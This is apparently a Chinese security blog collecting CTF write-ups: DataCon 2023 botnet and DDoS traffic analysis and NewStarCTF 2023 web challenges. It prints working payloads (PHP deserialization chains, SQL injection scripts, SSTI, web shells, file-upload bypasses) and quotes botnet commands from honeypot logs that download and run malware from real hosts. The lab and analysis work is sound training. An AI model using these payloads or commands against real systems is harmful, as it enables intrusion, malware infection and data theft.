(github.com),可以直接从ida中生成frida的hook脚本,比较方便(虽然我没用过几次) 后记 关于漏洞细节就不发出来了。历时2个多月的零基础从入门到入土,确实学到了不少东西,也踩了一大堆坑,有的坑也卡的比较久,在此感谢w学长给我一步步梳理思路。

2023/12/12
articleCard.readMore

2023 DataCon大数据安全分析竞赛 WriteUp

互联网威胁溯源 题目一:形形色色的DDoS 分析 根据题目描述,攻击者采用了多种DDoS攻击方法,找出这些攻击流量,并将攻击类型相同的源IP进行归类。 分析题目提供的流量包,wireshark打开。 观察到多种ddos流量。 SYN Flood Attack 流量特征:仅有一个tcp包。 UDP Flood Attack 流量特征:协议为UDP,内容杂乱。 NTP Reply Flood Attack 流量特征:协议为NTP CC Attack 流量特征:具有完整的TCP流量包。 此次ddos中CC攻击有两种形式: 第一种(示例) 1 2 3 4 5 6 GET / HTTP/1.1 Connection: keep-alive X-a: datacon2023-1278 X-a: datacon2023-591 X-a: datacon2023-452 X-a: datacon2023-815 第二种(示例) 1 2 3 4 5 6 7 8 GET / HTTP/1.1 Connection: keep-alive Content-Length: 1000 X-a: datacon2023-256 X-a: datacon2023-968 X-a: datacon2023-236 X-a: datacon2023-808 更新于2023/12/10 wp终于出了,原来这两个分别是慢速http header泛洪攻击和慢速http payload泛洪攻击,区别是:第一种会定期向目标发送部分请求标头,以使请求保持活动状态;第二种会发送一个值很大的Content-Length字段,之后慢慢发送少量字节的数据包,主机就会认为该请求包存在payload没有发完,因此会维持连接。 解答 设置过滤器,编写脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import pyshark tshark=r"C:\sec\Wireshark\tshark.exe" # 本地tshark路径 pcap='../pcap.pcapng' # 本地pcap位置 # 读取pcap文件并分类 udp_cap = pyshark.FileCapture(pcap, display_filter='udp',tshark_path=tshark) ntp_cap = pyshark.FileCapture(pcap, display_filter='ntp',tshark_path=tshark) tls_cap = pyshark.FileCapture(pcap, display_filter='tls',tshark_path=tshark) cc2_cap= pyshark.FileCapture(pcap, display_filter='tcp.flags.syn==1 && tcp.options', tshark_path=tshark) syn_cap= pyshark.FileCapture(pcap, display_filter='tcp.flags.syn==1', tshark_path=tshark) # 观察到最后时间段除了一个ip以外都是cc1末流量包 cc1_cap=pyshark.FileCapture(pcap, display_filter='frame.time_relative>=100.053', tshark_path=tshark) get_except=("92.126.115.64") target=('93.224.28.177') # 被ddos机ip # 用于存储IP地址的集合 udp_list = set() ntp_list = set() tls_list=set() cc2_list=set() syn_list=set() cc1_list=set() for packet in cc1_cap: try: source_ip = packet.ip.src if source_ip not in target and source_ip not in get_except: cc1_list.add(source_ip) except AttributeError: pass for packet in cc2_cap: try: source_ip = packet.ip.src if source_ip not in target and source_ip not in cc1_list: cc2_list.add(source_ip) except AttributeError: pass for packet in syn_cap: try: source_ip = packet.ip.src if source_ip not in target and source_ip not in cc2_list and source_ip not in cc1_list: syn_list.add(source_ip) except AttributeError: pass for packet in tls_cap: try: source_ip = packet.ip.src if source_ip not in target: tls_list.add(source_ip) except AttributeError: pass for packet in ntp_cap: try: source_ip = packet.ip.src if source_ip not in target: ntp_list.add(source_ip) except AttributeError: pass for packet in udp_cap: try: source_ip = packet.ip.src if source_ip not in ntp_list and source_ip not in target: udp_list.add(source_ip) except AttributeError: pass # 将IP地址导出到txt文件 with open('q1_answer.txt', 'w') as f: f.write(','.join(udp_list)) f.write('\n') f.write(','.join(ntp_list)) f.write('\n') f.write(','.join(cc2_list)) f.write('\n') f.write(','.join(syn_list)) f.write('\n') f.write(','.join(cc1_list)) 题目二:威胁情报的关联分析 分析 题目描述:选手点击下载该题提供的文件,本文件是部分公网蜜罐日志。已知本次的DDoS攻击由僵尸网络团伙发起,该团伙传播了两种恶意样本文件。在本次攻击中,该团伙利用CVE-2019-7238漏洞组建僵尸网络。请找到这两种恶意样本文件,并给出每种恶意样本文件的MD5以及每种恶意样本文件在蜜罐日志的传播源IP和下载站IP(作答时只需给出IP即可,无需具体指定每个IP是传播源还是下载站)。 下载提供的honeylog.json,观察发现,大部分传输恶意样本文件的流量均使用了wget协议来下载恶意样本,因此可以将带有wget的字符串过滤出来。 根据题目描述的CVE-2019-7238,其漏洞利用路径为/service/extdirect,可以通过这个路径找到一个恶意样本。 解答 编写提取wget字符串的脚本,脚本提取方式为识别wget 、wget+或wget%为前缀,;或)为后缀的字符串。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 wget_lines = set() with open('honeylog.json', 'r') as file: for line in file: line = line.strip() if 'wget ' in line or 'wget%' in line or 'wget+' in line: begin_index=line.find('wget') ll=[len(line)] if line.find(';')!=-1: ll.append(line.find(';')) if line.find(')')!=-1: ll.append(line.find(')')) end_index = min(ll) wget_lines.add(line[begin_index:end_index]) # 将满足条件的行写入2.txt with open('2.txt', 'w') as file: file.write('\n'.join(wget_lines)) 运行脚本后,得到: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 wget http://miori.lol/miori.arm7 && chmod 777 miori.arm7 && ./miori.arm7 selfrep.vigor && rm -rf miori.arm7 wget -g 103.178.232.12 -l /tmp/.oxy -r /mips wget -g 107.173.231.76 -l /tmp/.oxy -r /mips wget http://112.192.5.28:8888/koba -O /tmp/koba && cd /tmp && chmod +x koba && ./koba &"}} wget -g 143.198.91.91 -l /tmp/.oxy -r /mips wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips wget -g 103.183.118.160 -l /tmp/.oxy -r /mips wget http://download.asyncfox.xyz/download/dupa2.sh -O- | bash wget -g 109.98.208.52 -l /tmp/.oxy -r /mips wget http://46.29.166.61/arm7 && chmod 777 arm7 && ./arm7 selfrep.vigor && rm -rf arm7 wget http://74.209.210.114:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar & wget http://149.129.92.9:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar & wget -g 64.227.121.58 -l /tmp/.oxy -r /mips wget http://45.95.146.26/miori.arm7 && chmod 777 miori.arm7 && ./miori.arm7 selfrep.vigor && rm -rf miori.arm7 其中caesar,koba在大网环境中可以成功下载,使用md5sum计算样本md5值,编写脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import json caesar_set = set() caesar_set.add('74.209.210.114') caesar_set.add('149.129.92.9') koba_set=set() koba_set.add('112.192.5.28') # 读取文件 with open('honeylog.json', 'r') as file: # 逐行读取 for line in file: if 'caesar' in line: try: data = json.loads(line) src_ip = data.get('src_ip') if src_ip: caesar_set.add(src_ip) except: pass if 'koba' in line: try: data = json.loads(line) src_ip = data.get('src_ip') if src_ip: koba_set.add(src_ip) except: pass with open('md5_file.txt','w') as f: f.write('82f485f6d3dbad747ef307158fc7ea48:') f.write(','.join(caesar_set)) f.write('\n') f.write('e4d87fc7fd025213a86b0db38b147375:') f.write(','.join(koba_set)) 得到答案: 1 2 82f485f6d3dbad747ef307158fc7ea48:149.129.92.9,74.209.210.114,194.216.26.179 e4d87fc7fd025213a86b0db38b147375:112.192.5.28,195.220.160.50 题目四:消失的窃密流量 分析 题目描述:找到窃密流量最终流向的服务器IP,并根据目前掌握的线索给出**此次攻击事件中(DDoS+窃密)**明确被控的主机IP;请给出原始被窃取文件的MD5。 我们队伍只找到了部分DDoS的被控ip。 解答 使用ida反编译caesar文件,进入main函数 进入函数sub_33F9中,发现其调用了多次sub_3A91函数 进入sub_3A91函数发现是将函数地址写入一个ptr变量。 查找ptr的调用者,观察到sub_387A函数 经过分析,该函数是将每个存入的函数地址都进行调用 回到sub_33F9函数中,发现可疑函数sub_5841和sub_6249,进入后发现其均为ddos中发起cc攻击的函数 sub_5841: sub_6249: 因此,将第一题中的cc攻击ip导入进来即可,编写脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 url_set=set() q1=open('q1_answer.txt','r') q1.readline() q1.readline() for i in q1.readline().strip().split(','): url_set.add(i) q1.readline() for i in q1.readline().strip().split(','): url_set.add(i) q1.close() q3='153.97.92.169' with open('q4_answer.txt','w') as f: f.write(q3) f.write('\n') f.write(','.join(url_set)) f.write('\n') 得到25%的分数。 邮件安全 题目二:新型邮件炸弹攻击 编写脚本,提取前10000权重的网址。 1 2 3 4 5 6 7 8 9 10 mails=[] with open('top_mail.csv','r') as file: for i in file: a=i.split(',') if int(a[0])>10000: break else: mails.append(a[1]) with open('top_10000_mails.txt','w') as f: f.write(''.join(mails)) 从上到下,依次测试发送邮件。 使用已注册邮箱,如qq.com、gmail.com等发送邮件。 总结 最开始以为比赛会很难,但是感觉难度还可以? 可惜的是互联网威胁溯源到后面逆向的时候就开始乏力了,做不出来题,感觉该逆的都逆了,该脱壳也手脱了,检查点也一次没少,但就是找不到答案的IP地址,等赛后看看别人的wp吧。 邮件安全那道题单纯的打着玩,发了两个小时的邮件。 贴一部分的比赛题目: 互联网威胁溯源.zip top_mail.csv 更新于2023/12/10 官方wp已出,仔细看了一下,发现其实自己没分析出来的东西还有很多,其中找ip地址的时候我也尝试过向169.196.166.199: 16996发包,官方wp是用python发送的,我是直接用nc -u发的包,但是没收到返回的信息,导致我以为它的环境已经关了,于是没了头绪。 当时以为自己都看的差不多,但现在想了一下,其实我做出来的可能也就一半左右,原因大体上可能是对C2僵尸网络的原理处于不了解的状态,甚至我觉得是对一个领域的整体架构没有构建起来。 最后把官方wp贴上吧:DataCon2023互联网威胁溯源赛道,冠军战队WP分享 (qq.com)

2023/11/16
articleCard.readMore

NewStarCTF 2023-WEEK4 Web WriteUp

解题 4/7 逃 打开容器,看到源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); } class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } } unserialize(waf(serialize(new GetFlag($_GET['key'])))); 明显的php反序列化逃逸,利用原理即使用大量的bad替换为good来逃逸php反序列化的字符数量标记 给出payload: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file(__FILE__); function waf($str) { return str_replace("bad", "good", $str); } class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } } $a = new GetFlag("badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad\";s:3:\"cmd\";s:4:\"cat /flag\";}"); echo waf(serialize($a)); //O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";} More Fast 开容器看源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php highlight_file(__FILE__); class Start{ public $errMsg; public function __destruct() { die($this->errMsg); } } class Pwn{ public $obj; public function __invoke(){ $this->obj->evil(); } public function evil() { phpinfo(); } } class Reverse{ public $func; public function __get($var) { ($this->func)(); } } class Web{ public $func; public $var; public function evil() { if(!preg_match("/flag/i",$this->var)){ ($this->func)($this->var); }else{ echo "Not Flag"; } } } class Crypto{ public $obj; public function __toString() { $wel = $this->obj->good; return "NewStar"; } } class Misc{ public function evil() { echo "good job but nothing"; } } $a = @unserialize($_POST['fast']); throw new Exception("Nope"); 看起来像是一个php的__destruct反序列化利用,但是注意到结尾处出现throw new Exception("Nope");强制跑出异常进入到gc垃圾回收模式。因此,我们需要在反序列化处触发异常提前进入垃圾回收模式,其中,触发异常的情况常见有几种: 对象被unset()处理时,可以触发。 数组对象为NULL时,可以触发。 当输入的序列化对象格式不完整或不正确时,可以触发。 这里采用第三种方式绕过(当然,别的方式也可以正常绕过) 给出payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php highlight_file(__FILE__); class Start { public $errMsg; public function __destruct() { die($this->errMsg); } } class Pwn { public $obj; public function __invoke() { $this->obj->evil(); } public function evil() { phpinfo(); } } class Reverse { public $func; public function __get($var) { ($this->func)(); } } class Web { public $func = "system"; public $var = "ls"; public function evil() { if (!preg_match("/flag/i", $this->var)) { ($this->func)($this->var); } else { echo "Not Flag"; } } } class Crypto { public $obj; public function __toString() { $wel = $this->obj->good; return "NewStar"; } } $a = new Start(); $a->errMsg = new Crypto(); $a->errMsg->obj = new Reverse(); $a->errMsg->obj->func = new Pwn(); $a->errMsg->obj->func->obj = new Web(); echo serialize($a); 得到的payload结尾删去一个反大括号即可。 midsql 打开容器看到sql源码 1 2 3 $cmd = "select name, price from items where id = ".$_REQUEST["id"]; $result = mysqli_fetch_all($result); $result = $result[0]; 测试一下,发现是数字注入但是没有回显,还禁用了几个字符。 使用延时注入方法,写个python脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests url='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28database%28%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29' url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28table_schema%29%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_name%2F**%2Flike%2F**%2F%27items%27%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29' url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28schema_name%29%2F**%2Ffrom%2F**%2Finformation_schema.schemata%2F**%2F%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29' flag='' url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28name%29%2F**%2Ffrom%2F**%2Fctf.items%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29' temp_url=url1.format(1,0) re=requests.get(temp_url) print(re.text) for i in range(1,100): # print(i) for j in range(32,126): temp_url=url1.format(i,j) try: re=requests.get(temp_url,timeout=3) #print(j) except Exception: flag+=chr(j) print(chr(j),end='') break print('\n',flag) 得到flag flask disk 打开容器,看到上传界面,上传一个空内容,发现python flask框架的debug模式没关,想到debug模式的热加载特性,直接上传一个app.py,加一个读flag的路由即可。 app.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from crypt import methods from flask import Flask,request,send_file import os,datetime app = Flask(__name__) @app.route('/',methods=['GET']) def index(): return '<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>' @app.route('/list',methods=['GET']) def list(): dirs = os.listdir('.') items = '' for dir in dirs: if os.path.isfile(dir): create_time = int(os.path.getctime(dir)) create_time = datetime.datetime.fromtimestamp(create_time) item =f'</pre>{dir} {str(os.path.getsize(dir))}b {create_time}</pre><br><br>' items += item items += '\n' return items @app.route('/aa',methods=['GET']) def aa(): os.system('cat /flag > /app/1.txt') return 'os.system(a)' @app.route('/upload',methods=['GET','POST']) def upload(): if request.method == 'GET': s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>' return s elif request.method == 'POST': file = request.files['file'] if '..' in file.filename or '/' in file.filename: return '.. and / are not allowed!' file.save(file.filename) return 'upload success. <a href="/list">check</a>' @app.route('/download',methods=['GET','POST']) def download(): filename = request.args.get('filename') if filename and os.path.exists(filename): if '..' in filename or '/' in filename: return '.. and / are not allowed!' return send_file(filename,as_attachment=True) else: return 'no file to download or file not exist' if __name__=='__main__': app.run(host='0.0.0.0',debug=True,port=5000) 总结 难起来了,开始坐牢了。。。 贴个wp:https://shimo.im/docs/gXqmdVvbOEsXpo3o/read 顺便把第五周的也贴上了:https://shimo.im/docs/R3sGgZdrlyE6nL8T/read

2023/11/5
articleCard.readMore

NewStarCTF 2023-WEEK3 Web WriteUp

解题 5/6 Include 🍐 打开容器,提示phpinfo 进入phpinfo.php查看php配置,发现register_argc_argv配置被打开,index.php内部有一个后缀名为.php的文件包含,通过pearcmd来包含进行恶意文件的下载,在vps上构造恶意文件 1 2 <?php echo '<?php system($_GET[0]);'; 使用pearcmd包含:?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php 进入tmp/pear/download/evil.php直接命令执行即可。 medium_sql 跟Week2差不多,但是把union的大小写禁用了,用不了联合注入,使用布尔注入 贴个布尔注入脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests import string url='http://4bbc4bf0-4b86-4dc7-90db-8609acab2c76.node4.buuoj.cn:81/?id=TMP0919\'And if(suBstring((seLect flag from ctf.here_is_flag liMit%201),{},1)=\'{}\',1,0)--+' all_chars = string.ascii_lowercase + string.digits + "_"+"{"+"}"+"-" flag='' for i in range(1,50): for j in all_chars: ppp=url.format(i, j) re=requests.get(ppp) if len(re.text)>450: print(j,end='') break print("Flag: ", flag) POP Gadget 打开容器,是php反序列化 POP链:Begin->name->__destruct()->Then->func->__toString()->Super->obj->invoke()->Handle->obj->__call->CTF->handle->end()->WhiteGod->__unset() payload: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <?php highlight_file(__FILE__); class Begin { public $name; public function __destruct() { if (preg_match("/[a-zA-Z0-9]/", $this->name)) { echo "Hello"; } else { echo "Welcome to NewStarCTF 2023!"; } } } class Then { private $func; public function __construct() { $this->func = new Super; } public function __toString() { ($this->func)(); return "Good Job!"; } } class Handle { protected $obj; public function __construct() { $this->obj = new CTF; } public function __call($func, $vars) { $this->obj->end(); } } class Super { protected $obj; public function __construct() { $this->obj = new Handle; } public function __invoke() { $this->obj->getStr(); } public function end() { die("==GAME OVER=="); } } class CTF { public $handle; public function __construct() { $this->handle = new WhiteGod; } public function end() { unset($this->handle->log); } } class WhiteGod { public $func = 'system'; public $var = 'cat /flag'; public function __unset($var) { ($this->func)($this->var); } } $a = new Begin; $a->name = new Then; echo urlencode(serialize($a)); GenShin 打开容器后发现返回表头pop值为/secr3tofpop 进入后发现是python flask的ssti 黑名单有{{}},os,=等 name={%print({}.__class__.__bases__[0].__subclasses__())%}查看所有方法 使用FileLoader ?name={%print({}.__class__.__bases__[0].__subclasses__()[99][%22get_data%22](0,%22flag%22))%} 得到flag R!!!C!!!E!!! 打开容器,发现代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file(__FILE__); class minipop{ public $code; public $qwejaskdjnlka; public function __toString() { if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){ exec($this->code); } return "alright"; } public function __destruct() { echo $this->qwejaskdjnlka; } } if(isset($_POST['payload'])){ //wanna try? unserialize($_POST['payload']); } 过滤的字符有点多,不太容易RCE,最后用了个小技巧,把index.php中的|删去,然后再命令执行。 给出payload: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file(__FILE__); class minipop { public $code; public $qwejaskdjnlka; public function __toString() { if (!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)) { exec($this->code); } return "alright"; } public function __destruct() { echo $this->qwejaskdjnlka; } } $a = new minipop; $a->qwejaskdjnlka = new minipop; $a->qwejaskdjnlka->code = 'sed -i \'s/|//g\' index`echo -e "\x2ep"`hp'; $a->qwejaskdjnlka->code = 'ls / >1.php'; $a->qwejaskdjnlka->code = 'cat /flag_is_h3eeere >1.php'; echo (serialize($a)); OtenkiGirl 不会,等个官方wp,但凭感觉是原型链污染 总结 第三周感觉难度上来了,做起来有点费劲了 贴个官方wp:https://shimo.im/docs/QPMRxzGktzsZnzhz

2023/10/17
articleCard.readMore

NewStarCTF 2023-WEEK2 Web WriteUp

解题 6/6 游戏高手 打开容器,发现一个前端页面,F12进行javascript代码审计。 发现函数gameover() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function gameover(){ if(gameScore > 100000){ var xhr = new XMLHttpRequest(); xhr.open("POST", "/api.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var response = JSON.parse(xhr.responseText); alert(response.message); } }; var data = { score: gameScore, }; xhr.send(JSON.stringify(data)); } alert("成绩:"+gameScore); gameScore=0; curPhase =PHASE_READY; hero = null; hero = new Hero(); } 分析逻辑,发现当gameScore大于100000时,会将{score: gameScore}转化为json发送到/api.php,将返回结果alert,因此猜测flag由api.php给出。 在控制台重写gameover函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function gameover(){ if(gameScore < 100000){ gameScore = 1000000; var xhr = new XMLHttpRequest(); xhr.open("POST", "/api.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var response = JSON.parse(xhr.responseText); alert(response.message); } }; var data = { score: gameScore, }; xhr.send(JSON.stringify(data)); } alert("成绩:"+gameScore); gameScore=0; curPhase =PHASE_READY; hero = null; hero = new Hero(); } 接着在控制台执行gameover(),得到flag:flag{5d66c0a8-cb52-4099-a3fb-f7d5cf4826d0} include 0。0 打开容器,发现一段php 1 2 3 4 5 6 7 8 9 10 <?php highlight_file(__FILE__); // FLAG in the flag.php $file = $_GET['file']; if(isset($file) && !preg_match('/base|rot/i',$file)){ @include($file); }else{ die("nope"); } ?> 看到include,文件包含漏洞。 但是!preg_match('/base|rot/i',$file)如果file中含有base和rot就会die,所以用不了普通的php://filter/read=convert.base64-encode/resource=flag.php和php://filter/read=string.rot13/resource=flag.php 使用其他字符集,php://filter/read=convert.iconv.UTF8.UTF7/resource=flag.php,得到flag+AHs-59c6afe7-3cad-4eb3-abac-38b09521a184+AH0 稍加改动,得到flag:flag{59c6afe7-3cad-4eb3-abac-38b09521a184} 这里贴一个字符集filter脚本,wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT ez_sql 打开容器,发现好多a标签,随便点点,发现有id参数传入。 ?id=TMP0919'--+发现依旧可以显示,猜测是sql注入。 但是?id=TMP0919'or 1=1--+显示no,有黑名单,使用大小写绕过。 ?id=TMP0919'Or 1=1--+绕过成功。 查字段数 1 ?id=TMP0919' Order by 5--+ 成功 1 ?id=TMP0919' Order by 6--+ 无法回显,得到字段数为5。 1 ?id=T' union seLect 1,2,3,4,5--+ 可以正常回显。 查库名 1 ?id=T' union seLect database(),2,3,4,5--+ 回显ctf,注意select需要使用大小写绕过。 查表名 1 ?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),3,4,5--+ 返回grades,here_is_flag,发现here_is_flag表,注意information_schema和where需要使用大小写绕过。 查列名 1 ?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),(seLect group_concat(column_name) from infOrmation_schema.columns wHere table_name='here_is_flag' ),4,5--+ 返回flag,得到flag列 查flag 1 ?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),(seLect group_concat(column_name) from infOrmation_schema.columns wHere table_name='here_is_flag' ),(seLect flag from ctf.here_is_flag),5--+ 得到flag:flag{fbbd976e-4244-4154-b2d1-a38dba8a9ef2} Unserialize? 打开容器,发现php代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { private $cmd; public function __destruct() { if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ @system($this->cmd); } } } @unserialize($_POST['unser']); ?> 利用php反序列化漏洞,本地搭建php环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { private $cmd = "ls /"; public function __destruct() { if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) { @system($this->cmd); } } } $a = new evil; echo urlencode(serialize($a)); ?> 拿到O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A4%3A%22ls+%2F%22%3B%7D 直接打,发现flag路径:/th1s_1s_fffflllll4444aaaggggg 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { private $cmd = "ca''t /th1s_1s_fffflllll4444aaaggggg"; public function __destruct() { if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) { @system($this->cmd); } } } $a = new evil; echo urlencode(serialize($a)); ?> 使用单引号绕过过滤,拿到O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A36%3A%22ca%27%27t+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D 得到flag:flag{f1e483d0-09a1-4376-b00b-60b3ea9422df} Upload again! 上传php,发现有黑名单。 直接上传.htaccess 1 AddType application/x-httpd-php .jpg 将jpg解析为php 上传1.jpg,发现含有<?的文件被过滤,使用JavaScript标签绕过。 1 <script language="php">system($GET[0]);</script> 可以正常解析,剩下无脑直接找flag即可。 R!!C!!E!! 打开容器发现Welcome To NewstarCTF 2023,Nothing here,or you wanna to find some leaked information? 信息泄露,猜测是git泄露,使用GitHack工具 得到bo0g1pop.php,内容为 1 2 3 4 5 6 7 <?php highlight_file(__FILE__); if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){ eval($_GET['star']); } } 分析逻辑,是无参数RCE,从start.sh可以看到flag在/flag中。 首先需要构造出/flag,使用getallheaders函数得到所有http Header 发现User-Agent在第二个,可以使用next(getallheaders())得到值。 改UA为/flag,得到/flag字符串,接着使用show_source函数得到flag内容。 完整payload:/bo0g1pop.php?star=show_source(next(getallheaders())); 得到flag:flag{34b4ffdf-5637-46ee-a734-30e031d0b73f} 总结 贴一个官方wp:https://shimo.im/docs/Dy5ekHJhKo0ap5v3/ 其他方向没怎么研究,太忙了,只抽出来一个小时写了个Web

2023/10/10
articleCard.readMore

NewStarCTF 2023-WEEK1 WriteUp

好久没碰ctf了,感觉手有点生,正好最近newstar新生赛,过来凑个热闹。 Web 解题 7/7 泄漏的秘密 介绍里面写了“粗心的网站管理员总会泄漏一些敏感信息在Web根目录下”,一眼信息泄露 打开容器,出现粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!,/robots.txt一试直接爆出flag的前半段,/www.zip直接把源码泄露了。 拿到flag:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous} Begin of Upload 一眼文件上传,写一个php马试一下 1 <?php system($_GET['cmd']); 发现文件后缀有白名单,但是验证是在前端,直接burp抓包改一下文件名就能绕 Begin of HTTP 打开容器,发现要求请使用 GET方式 来给 ctf 参数传入任意值来通过这关 加个参数试一下http://node4.buuoj.cn:25055/?ctf=1 发现很棒,如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢? 如果你传入的参数值并不是我想要的secret,我也不会放你过关的 或许你可以找一找我把secret藏在了哪里 ctrl+U看下源码,发现注释<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) --> base64解码一下,得到secret是n3wst4rCTF2023g00000d HackBar插件传一下POST参数 接下来发现很强,现在我需要验证你的 power 是否是 ctfer ,只有ctfer可以通过这关 Cookie改一下power改为ctfer 发现你已经完成了本题过半的关卡,现在请使用 NewStarCTF2023浏览器 来通过这关! 把User-Agent改为NewStarCTF2023 发现希望你是从 newstarctf.com 访问到这个关卡的 加个Referer: newstarctf.com 最后发现最后一关了!只有 本地用户 可以通过这一关 加一个Header:X-Real-IP: 127.0.0.1,本来以为这道题是要加X-Forwarded-For,结果加X-Forwarded-For发现好像不太行 拿到flag:flag{221fb558-9c0a-4b07-bac6-3af03cf7393e} ErrorFlask 